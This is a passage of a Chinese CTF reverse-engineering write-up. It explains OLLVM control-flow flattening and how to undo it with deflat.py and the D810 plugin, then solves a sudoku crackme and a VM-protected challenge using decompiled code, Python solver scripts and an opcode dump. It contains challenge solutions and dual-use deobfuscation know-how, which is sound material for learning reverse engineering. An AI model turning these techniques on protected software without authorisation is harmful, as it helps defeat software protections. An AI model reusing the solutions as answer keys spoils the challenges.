什么是OLLVM的平坦化

控制流平坦化 是 OLLVM 提供的一种代码混淆技术。它的核心目标是破坏程序原始的控制流结构,使其变得难以阅读和分析,从而增加逆向工程和破解的难度。

OLLVM的平坦化是如何实现的?

原始代码:

1
2
3
4
5
6
7
8
9
int main() {
int a = 10;
if (a > 5) {
printf("a > 5");
} else {
printf("a <= 5");
}
return 0;
}

经过平坦化后:

  1. 创建“分发器”和一个状态变量
    • 引入一个状态变量(例如 state),它决定了下一个要执行哪个基本块。
    • 创建一个循环结构作为分发器,其内部是一个巨大的 switch-case 语句,case 的值就是 state 的值。
  2. 拆分原始基本块
    • 将原始函数中的所有基本块(除了入口块)都提取出来。
    • 为每个基本块分配一个唯一的状态值(例如,原始块 B 对应 state = 2)。
  3. 重写基本块末尾的指令
    • 这是最关键的一步。修改每个基本块的结束指令(如 jmp, brret),使其不再是直接跳转到下一个块,而是更新状态变量 state,然后跳回到分发器循环
    • 例如,原始基本块 A 执行完后应该跳转到块 B。平坦化后,块 A 的末尾被修改为 state = 2; goto dispatcher;
  4. 在分发器中调度
    • 分发器循环不停地检查 state 的值,然后通过 switch-case 跳转到对应的基本块去执行。
    • 执行完的基本块会设置新的 state,然后跳回分发器,分发器再根据新的 state 调度下一个基本块。

平坦化后的伪代码结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int main() {
int state = 0; // 初始状态
while (1) { // 分发器循环
switch (state) {
case 0: // 初始块,通常做变量初始化
a = 10;
if (a > 5) {
state = 1; // 下一个状态是 “printf("a > 5")” 块
} else {
state = 2; // 下一个状态是 “printf("a <= 5")” 块
}
break;

case 1:
printf("a > 5");
state = 3; // 下一个状态是 “return 0” 块
break;

case 2:
printf("a <= 5");
state = 3; // 下一个状态是 “return 0” 块
break;

case 3:
return 0;
// state 不再更新,循环终止
break;
}
}
}

如何去OLLVM的平坦化

法一

首先我要下载这个deflat这个工具,将py文件和要处理的文件放在同一个目录中

1
2
python deflat.py -f OLLVM-deflat --addr 0x4006F0
python deflat.py -f 需要处理的文件 --addr 起始地址

起始地址用IDA查看,比如main的起始地址。

本题

1
2
3
4
5
6
python deflat.py -f OLLVM-deflat --addr 0x4006F0
python deflat.py -f OLLVM-deflat --addr 0x400870
python deflat.py -f OLLVM-deflat --addr 0x401470
python deflat.py -f OLLVM-deflat --addr 0x4018B0
python deflat.py -f OLLVM-deflat --addr 0x401F50
python deflat.py -f OLLVM-deflat --addr 0x402AC0

让我们来看看效果

未去:

1

2

已去:

1

1

很明显去除后逻辑更加清晰。

去除后再开始解题:

general_inspection验证sudoku的合法性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
__int64 __fastcall general_inspection(int (*a1)[9])
{
int mm; // [rsp+100h] [rbp-50h]
int k; // [rsp+104h] [rbp-4Ch]
int m; // [rsp+104h] [rbp-4Ch]
int n; // [rsp+104h] [rbp-4Ch]
int ii; // [rsp+104h] [rbp-4Ch]
int jj; // [rsp+104h] [rbp-4Ch]
int kk; // [rsp+104h] [rbp-4Ch]
int j; // [rsp+108h] [rbp-48h]
int i; // [rsp+10Ch] [rbp-44h]
int s[12]; // [rsp+110h] [rbp-40h] BYREF
int (*v12)[9]; // [rsp+140h] [rbp-10h]

v12 = a1;
memset(s, 0, 0x28uLL);
for ( i = 0; i < 9; ++i )
{
for ( j = 0; j < 9; ++j )
{
if ( v12[i][j] )
{
for ( k = 0; k < 10; ++k )
s[k] = 0;
for ( m = 0; m < 9; ++m )
{
if ( v12[i][m] )
{
if ( s[v12[i][m]] )
return 1;
s[v12[i][m]] = 1;
}
}
for ( n = 0; n < 10; ++n )
s[n] = 0;
for ( ii = 0; ii < 9; ++ii )
{
if ( v12[ii][j] )
{
if ( s[v12[ii][j]] )
return 1;
s[v12[ii][j]] = 1;
}
}
for ( jj = 0; jj < 10; ++jj )
s[jj] = 0;
for ( kk = 0; kk < 3; ++kk )
{
for ( mm = 0; mm < 3; ++mm )
{
if ( v12[kk - -3 * (i / 3)][mm - -3 * (j / 3)] )
{
if ( s[v12[3 * (i / 3)][9 * kk + 3 * (j / 3) + mm]] )
return 1;
s[v12[3 * (i / 3)][9 * kk + mm - -3 * (j / 3)]] = 1;
}
}
}
}
}
}
return 0;
}

trace对sudoku进行求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
void __fastcall trace(__int64 a1, int *a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // r8d
int v9; // eax
int v10; // eax
int v11; // eax
int v12; // eax
int v13; // [rsp+78h] [rbp-28h]
int v14; // [rsp+7Ch] [rbp-24h]
int v15; // [rsp+80h] [rbp-20h]
int v16; // [rsp+84h] [rbp-1Ch]
int v17; // [rsp+88h] [rbp-18h]

v14 = 0;
v13 = 671940414;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v13 == -2124394493 )
{
v4 = 338033522;
if ( v17 < 9 )
v4 = -1264962160;
v13 = v4;
}
if ( v13 != -2084617164 )
break;
++a3;
v17 = a2[12 * v14];
v16 = a2[12 * v14 + 1];
v13 = 295419890;
}
if ( v13 != -2069701336 )
break;
v5 = 942378879;
if ( v16 < 9 )
v5 = 1672958513;
v13 = v5;
}
if ( v13 != -1561315505 )
break;
v13 = 2016120547;
}
if ( v13 != -1361654796 )
break;
++v16;
v13 = -2069701336;
}
if ( v13 != -1289862082 )
break;
v13 = -1361654796;
}
if ( v13 != -1264962160 )
break;
v16 = 0;
v13 = -2069701336;
}
if ( v13 == -1246113443 )
break;
switch ( v13 )
{
case -446534017:
v9 = 1764791757;
if ( !a2[12 * v14 + 2] )
v9 = 1923573299;
v13 = v9;
break;
case -264375465:
*(_DWORD *)(36LL * a2[12 * v14] + a1 + 4LL * a2[12 * v14 + 1]) = 0;
++a3;
--v14;
v13 = -446534017;
break;
case -127108152:
a2[12 * v14] = v17;
a2[12 * v14 + 1] = v16;
v7 = findvalue(a1, &a2[12 * v14]);
v8 = 295419890;
*(_DWORD *)(36LL * v17 + a1 + 4LL * v16) = v7;
if ( *(_DWORD *)(36LL * v17 + a1 + 4LL * v16) == -1 )
v8 = 1601744610;
v13 = v8;
break;
case 67917660:
*(_DWORD *)(36LL * a2[12 * v14] + a1 + 4LL * a2[12 * v14 + 1]) = v15;
a2[12 * v14 + 2 + v15] = 1;
--a2[12 * v14 + 2];
v13 = -2084617164;
break;
case 295419890:
++v14;
a3 = a3 - 1146223301 + 1146223300;
v13 = -1289862082;
break;
case 338033522:
v13 = 671940414;
break;
case 376448068:
v17 = 0;
v13 = -2124394493;
break;
case 599244415:
v11 = -2084617164;
if ( v15 < 10 )
v11 = 1332608024;
v13 = v11;
break;
case 671940414:
v3 = -1246113443;
if ( a3 )
v3 = 376448068;
v13 = v3;
break;
case 942378879:
v13 = 1396614849;
break;
case 1332608024:
v12 = -1561315505;
if ( !a2[12 * v14 + 2 + v15] )
v12 = 67917660;
v13 = v12;
break;
case 1396614849:
++v17;
v13 = -2124394493;
break;
case 1601744610:
*(_DWORD *)(36LL * v17 + a1 + 4LL * v16) = 0;
--v14;
v13 = -446534017;
break;
case 1672958513:
v6 = -1289862082;
if ( !*(_DWORD *)(36LL * v17 + a1 + 4LL * v16) )
v6 = -127108152;
v13 = v6;
break;
case 1751405620:
printf(aGameOver);
exit(1);
case 1764791757:
v15 = 1;
v13 = 599244415;
break;
case 1923573299:
v10 = -264375465;
if ( !v14 )
v10 = 1751405620;
v13 = v10;
break;
default:
++v15;
v13 = 599244415;
break;
}
}
free(a2);
}

check1

  • 前半部分与后半部分交换
  • 每对相邻字符交换
  • 位操作和算术变换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
size_t __fastcall check1(char *a1)
{
size_t result; // rax
char v2; // [rsp+6Eh] [rbp-12h]
char v3; // [rsp+6Fh] [rbp-11h]
int i; // [rsp+70h] [rbp-10h]
int v5; // [rsp+74h] [rbp-Ch]
int j; // [rsp+74h] [rbp-Ch]
int k; // [rsp+74h] [rbp-Ch]

v5 = strlen(a1) >> 1;
for ( i = 0; i < strlen(a1) >> 1; ++i )
{
v3 = a1[v5];
a1[v5] = a1[i];
a1[i] = v3;
++v5;
}
for ( j = 0; j < strlen(a1); j += 2 )
{
v2 = a1[j];
a1[j] = a1[j + 1];
a1[j + 1] = v2;
}
for ( k = 0; ; ++k )
{
result = strlen(a1);
if ( k >= result )
break;
a1[k] = (a1[k] & 0xF3 | ~a1[k] & 0xC) - 20;
}
return result;
}

check3就是个验证函数

check2检查输入字符串是否能正确填充一个数独网格

提取数独

1
2
3
4
5
6
7
8
9
1 0 5 3 2 7 0 0 8
8 0 9 0 5 0 0 2 0
0 7 0 0 1 0 5 0 3
4 9 0 1 0 0 3 0 0
0 1 0 0 7 0 9 0 6
7 0 3 2 9 0 4 8 0
0 6 0 5 4 0 8 0 9
0 0 4 0 0 1 0 3 0
0 2 1 0 3 0 7 0 4

求解数独

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def is_valid(board, row, col, num):
for j in range(9):
if board[row][j] == num:
return False
for i in range(9):
if board[i][col] == num:
return False
start_row, start_col = 3 * (row // 3), 3 * (col // 3)
for i in range(start_row, start_row + 3):
for j in range(start_col, start_col + 3):
if board[i][j] == num:
return False
return True

def solve(board, steps):
for i in range(9):
for j in range(9):
if board[i][j] == 0:
for num in range(1, 10):
if is_valid(board, i, j, num):
board[i][j] = num
steps.append(num)
if solve(board, steps):
return True
board[i][j] = 0
steps.pop()
return False
return True

# 输入数独(0 表示空格)
sudoku = [
[1, 0, 5, 3, 2, 7, 0, 0, 8],
[8, 0, 9, 0, 5, 0, 0, 2, 0],
[0, 7, 0, 0, 1, 0, 5, 0, 3],
[4, 9, 0, 1, 0, 0, 3, 0, 0],
[0, 1, 0, 0, 7, 0, 9, 0, 6],
[7, 0, 3, 2, 9, 0, 4, 8, 0],
[0, 6, 0, 5, 4, 0, 8, 0, 9],
[0, 0, 4, 0, 0, 1, 0, 3, 0],
[0, 2, 1, 0, 3, 0, 7, 0, 4]
]

steps = []
solve(sudoku, steps)
print(''.join(map(str, steps)))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def build_reverse_map():
mp = {}
for orig in range(256):
trans = (orig & 0xF3) | (~orig & 0xC)
enc = (trans - 20) & 0xFF
mp[enc] = orig
return mp

rev_map = build_reverse_map()


def decrypt(ciphertext: str) -> str:
# 转成字节数组(这里输入是字符串形式的数字,需要转成字符列表)
data = list(ciphertext)
n = len(data)


# 密文实际是 ASCII 编码后的字符,而不是数字字符串
raw = [ord(c) for c in ciphertext]

dec_bytes = []
for b in raw:
if b not in rev_map:
raise ValueError(f"无法解码字节: {b}")
dec_bytes.append(rev_map[b])

# 逆 step2: 相邻交换
for j in range(0, n, 2):
if j+1 < n:
dec_bytes[j], dec_bytes[j+1] = dec_bytes[j+1], dec_bytes[j]

# 逆 step1: 半段交换
half = n // 2
for i in range(half):
dec_bytes[i], dec_bytes[i+half] = dec_bytes[i+half], dec_bytes[i]

return bytes(dec_bytes).decode(errors="ignore")


if __name__ == "__main__":
cipher = "4693641762894685722843556137219876255986"
print(decrypt(cipher))
## KDEEIFGKIJ@AFGEJAEF@FDKADFGIJFA@FDE@JG@J

法二

D810去平坦化插件使用

插件

把文件夹和.py复制到IDA目录的plugin下即可

1

效果很好。

虚拟机(VM)保护技术逆向分析与总结

什么是虚拟机(VM)保护?

虚拟机保护是一种高级的代码混淆和反逆向技术。它的核心思想是:将原始机器代码(如x86指令)转换(或“编译”)为只能在自定义的虚拟机上执行的字节码(Bytecode)

  • 类比:就像Java程序被编译成在JVM上运行的字节码,或者.NET程序被编译成在CLR上运行的IL代码一样。VM保护创建了一个私有的、独特的“处理器”和“指令集”(通常称为VM Architecture或ISA),来执行被保护的代码。
  • 目标:极大增加逆向工程的分析难度。分析者无法直接看到原始的x86/ARM指令,而是需要先理解整个自定义虚拟机的运作机制,才能还原出原始代码的逻辑。

而我们就要分析这些自定义的逻辑然后,根据这些指令还原汇编代码。然后再分析逻辑。

例题

主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 v3[2]; // [rsp+10h] [rbp-10h] BYREF

v3[1] = __readfsqword(0x28u);
v3[0] = 0LL;
puts("Please input something:");
sub_CD1(v3);
sub_E0B(v3);
sub_F83(v3);
puts("And the flag is GWHT{true flag}");
exit(0);
}

sub_CD1 是一个数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 __fastcall sub_CD1(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_DWORD *)a1 = 0; //寄存器A
*(_DWORD *)(a1 + 4) = 18; //寄存器B
*(_DWORD *)(a1 + 8) = 0; //寄存器C
*(_DWORD *)(a1 + 12) = 0; //寄存器D
*(_QWORD *)(a1 + 16) = &unk_202060; //储存指令
*(_BYTE *)(a1 + 24) = 0xF1;
*(_QWORD *)(a1 + 32) = sub_B5F; //0xF1 -->sub_B5F
*(_BYTE *)(a1 + 40) = 0xF2;
*(_QWORD *)(a1 + 48) = sub_A64; //0xF2 -->sub_A64
*(_BYTE *)(a1 + 56) = 0xF5;
*(_QWORD *)(a1 + 64) = sub_AC5; //0xF5 -->sub_AC5
*(_BYTE *)(a1 + 72) = 0xF4;
*(_QWORD *)(a1 + 80) = sub_956; //0xF4 -->sub_956
*(_BYTE *)(a1 + 88) = 0xF7;
*(_QWORD *)(a1 + 96) = sub_A08; //0xF7 -->sub_A08
*(_BYTE *)(a1 + 104) = 0xF8;
*(_QWORD *)(a1 + 112) = sub_8F0; //0xF8 -->sub_8F0
*(_BYTE *)(a1 + 120) = 0xF6;
*(_QWORD *)(a1 + 128) = sub_99C; //0xF6 -->sub_99C
qword_2022A8 = malloc(0x512uLL);
memset(qword_2022A8, 0, 0x512uLL);
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 __fastcall sub_B5F(__int64 a1)
{
int *v2; // [rsp+28h] [rbp-18h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = (int *)(*(_QWORD *)(a1 + 16) + 2LL);
switch ( *(_BYTE *)(*(_QWORD *)(a1 + 16) + 1LL) )
{
case 0xE1:
*(_DWORD *)a1 = *((char *)qword_2022A8 + *v2); //写入到a1指向结构的偏移 0 处
break;
case 0xE2:
*(_DWORD *)(a1 + 4) = *((char *)qword_2022A8 + *v2); //写入到a1偏移 4 处
break;
case 0xE3:
*(_DWORD *)(a1 + 8) = *((char *)qword_2022A8 + *v2); //写入到a1偏移 8 处
break;
case 0xE4:
*((_BYTE *)qword_2022A8 + *v2) = *(_DWORD *)a1; //将a1偏移 0 处的字节,写入到qword_2022A8缓冲区偏移*v2的位置
break;
case 0xE5:
*(_DWORD *)(a1 + 12) = *((char *)qword_2022A8 + *v2); //写入到a1偏移 12 处。
break;
case 0xE7:
*((_BYTE *)qword_2022A8 + *v2) = *(_DWORD *)(a1 + 4);//将a1偏移 4 处的字节,写入到qword_2022A8缓冲区偏移*v2的位置
break;
default:
break;
}
*(_QWORD *)(a1 + 16) += 6LL;
return __readfsqword(0x28u) ^ v3;
}

sub_A64异或操作a1与a1+4存储的内容异或。

1
2
3
4
5
6
7
8
9
unsigned __int64 __fastcall sub_A64(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_DWORD *)a1 ^= *(_DWORD *)(a1 + 4);
++*(_QWORD *)(a1 + 16);
return __readfsqword(0x28u) ^ v2;
}

从标准输入读取数据,并强制校验输入的字符串长度是否为 21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 __fastcall sub_AC5(__int64 a1)
{
const char *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
buf = (const char *)qword_2022A8;
read(0, qword_2022A8, 0x20uLL);
dword_2022A4 = strlen(buf);
if ( dword_2022A4 != 21 )
{
puts("WRONG!");
exit(0);
}
++*(_QWORD *)(a1 + 16);
return __readfsqword(0x28u) ^ v3;
}

sub_956进行自增操作

1
2
3
4
5
6
7
8
unsigned __int64 __fastcall sub_956(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
++*(_QWORD *)(a1 + 16);
return __readfsqword(0x28u) ^ v2;
}

sub_A08偏移 0 处的 4 字节数据与偏移 12 处的 4 字节数据进行乘法,并计数器自增。

1
2
3
4
5
6
7
8
9
unsigned __int64 __fastcall sub_A08(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_DWORD *)a1 *= *(_DWORD *)(a1 + 12);
++*(_QWORD *)(a1 + 16);
return __readfsqword(0x28u) ^ v2;
}

sub_8F0交换a1[0]a1[1]两个 int 变量的值

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 __fastcall sub_8F0(int *a1)
{
int v2; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = *a1;
*a1 = a1[1];
a1[1] = v2;
++*((_QWORD *)a1 + 2);
return __readfsqword(0x28u) ^ v3;
}

sub_99C:对a1指向的数据结构中偏移 0 处(x)、4 处(y)、8 处(z)的三个 32 位整数执行线性组合运算(x = z + 2y + 3x),并将结果更新到偏移 0 处,同时将该结构中偏移 16 字节的 64 位计数器自增 1

1
2
3
4
5
6
7
8
9
unsigned __int64 __fastcall sub_99C(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_DWORD *)a1 = *(_DWORD *)(a1 + 8) + 2 * *(_DWORD *)(a1 + 4) + 3 * *(_DWORD *)a1;
++*(_QWORD *)(a1 + 16);
return __readfsqword(0x28u) ^ v2;
}

sub_E0B循环调用sub_E6E,遇到0xF4就停止。是就是说指令达到0xF4就结束了

1
2
3
4
5
6
7
8
9
10
unsigned __int64 __fastcall sub_E0B(__int64 a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_QWORD *)(a1 + 16) = &unk_202060;
while ( **(_BYTE **)(a1 + 16) != 0xF4 )
sub_E6E(a1);
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 __fastcall sub_E6E(__int64 a1)
{
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
for ( i = 0; **(_BYTE **)(a1 + 16) != *(_BYTE *)(16 * (i + 1LL) + a1 + 8); ++i ) //循环查找匹配的字节
;
(*(void (__fastcall **)(__int64))(16 * (i + 1LL) + a1 + 16))(a1); //调用匹配到的函数
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
0xF1 mov
0xF2 xor
0xF4 nop
0xF5 input
0xF7 mul
0xF8 swap
0xF6 x = z + 2y + 3x
0xE1 寄存器 r1
0xE2 寄存器 r2
0xE3 寄存器 r3
0xE4 内存单元 flag
0xE5 寄存器 r4

真flag验证函数

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 sub_F00()
{
int i; // [rsp+Ch] [rbp-14h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
for ( i = 0; dword_2022A4 - 1 > i; ++i )
{
if ( *((_BYTE *)qword_2022A8 + i) != byte_202020[i] )
exit(0);
}
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
unsigned char byte_202020[] =
{
0x69, 0x45, 0x2A, 0x37, 0x09, 0x17, 0xC5, 0x0B, 0x5C, 0x72,
0x33, 0x76, 0x33, 0x21, 0x74, 0x31, 0x5F, 0x33, 0x73, 0x72,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
};

提取出来操作码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
0xF5, 0xF1, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 
0x20, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x01, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x21, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x22, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x03, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x23,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x24, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x25, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x26, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x27, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x28, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x09, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x29, 0x00, 0x00,
0x00, 0xF1, 0xE1, 0x0A, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x2A, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0B, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x2B, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0C,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2C, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2D,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x2E, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0F, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x2F, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x10, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x30, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x11, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x31, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x12, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x32, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x13, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x33, 0x00, 0x00,
0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF5, 0xF1,
0xE1, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x01, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x01, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x02, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x03, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x03, 0x00,
0x00, 0x00, 0xF1, 0xE2, 0x04, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x05, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4,
0x04, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x05,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x06, 0x00, 0x00, 0x00, 0xF1,
0xE2, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x08, 0x00, 0x00,
0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1,
0xE4, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00,
0x00, 0xF1, 0xE2, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x09,
0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6,
0xF7, 0xF1, 0xE4, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08,
0x00, 0x00, 0x00, 0xF1, 0xE2, 0x09, 0x00, 0x00, 0x00, 0xF1,
0xE3, 0x0A, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00,
0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x08, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x13, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0D, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x13, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0E, 0x00, 0x00, 0x00,
0xF1, 0xE2, 0x12, 0x00, 0x00, 0x00, 0xF8, 0xF1, 0xE4, 0x0E,
0x00, 0x00, 0x00, 0xF1, 0xE7, 0x12, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x11, 0x00, 0x00,
0x00, 0xF8, 0xF1, 0xE4, 0x0F, 0x00, 0x00, 0x00, 0xF1, 0xE7,
0x11, 0x00, 0x00, 0x00, 0xF4

脚本转汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
opcode=[0xF5, 0xF1, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 
0x20, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x01, 0x00, 0x00, 0x00,
0xF2, 0xF1, 0xE4, 0x21, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02,
0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x22, 0x00, 0x00, 0x00,
0xF1, 0xE1, 0x03, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x23,
0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00, 0x00, 0xF2,
0xF1, 0xE4, 0x24, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00,
0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x25, 0x00, 0x00, 0x00, 0xF1,
0xE1, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x26, 0x00,
0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00, 0x00, 0xF2, 0xF1,
0xE4, 0x27, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08, 0x00, 0x00,
0x00, 0xF2, 0xF1, 0xE4, 0x28, 0x00, 0x00, 0x00, 0xF1, 0xE1,
0x09, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x29, 0x00, 0x00,
